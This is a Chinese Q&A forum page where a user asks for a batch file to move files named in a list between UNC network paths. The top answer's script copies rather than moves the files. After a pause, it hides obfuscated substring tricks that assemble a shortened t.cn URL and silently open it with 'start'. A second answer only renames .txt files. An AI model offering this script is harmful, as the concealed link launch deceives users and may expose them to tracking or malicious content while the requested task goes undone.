求大神写一个批处理文件

我用其它工具开发时,需要批处理文件执行一些操作,大致如下:1.在unc路径上读取列表文件abc.list2.根据abc.list里每条数据(每行的数据就是一个文件名),把... 我用其它工具开发时,需要批处理文件执行一些操作,大致如下:
1.在unc路径上读取列表文件abc.list
2.根据abc.list里每条数据(每行的数据就是一个文件名),把abc.list里所有的内容对应的文件移动到另外一个unc的路径下面
展开
 我来答
依梦琴瑶
高粉答主

2018-09-20 · 说的都是干货,快来关注
知道顶级答主
回答量:6.9万
采纳率:82%
帮助的人:1.7亿
展开全部
@echo off & title 根据列表移动文件 By 依梦琴瑶

::设置文件列表
set List=abc.list

::设置原文件目录
set SrcDir=D:\UNC

::设置目标保存目录
set SavDir=E:\UNC

for /f "delims=" %%a in ('type "%List%"') do (
if exist "%SrcDir%\%%~a" copy "%SrcDir%\%%~a" "%SavDir%\"
)
pause
set S1=.:htpcn/
set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%
set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%
start "" "%S2%%S3%RkdisqI"
exit

请先使用不重要的文件进行测试,如有问题,请追问。
l7722526
2018-09-20 · TA获得超过2.7万个赞
知道大有可为答主
回答量:2.8万
采纳率:84%
帮助的人:3834万
展开全部
你的好几个文件是不是都是txt类型的哦,如果是的话,我下面就给你代码。 @echo off setlocal enabledelayedexpansion set num=0 for %%a in (*.txt) do ( set/a num+=1 ren "%%a" "!num!.txt" ) echo.完成!&&pause>nul 和你需要处理的文件夹内运行即可。
追问
能不能追加个代码,让这个处理在unc上也能执行呢?我的文件夹和文件都是在网络共享路径下的,不是本地路径下
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式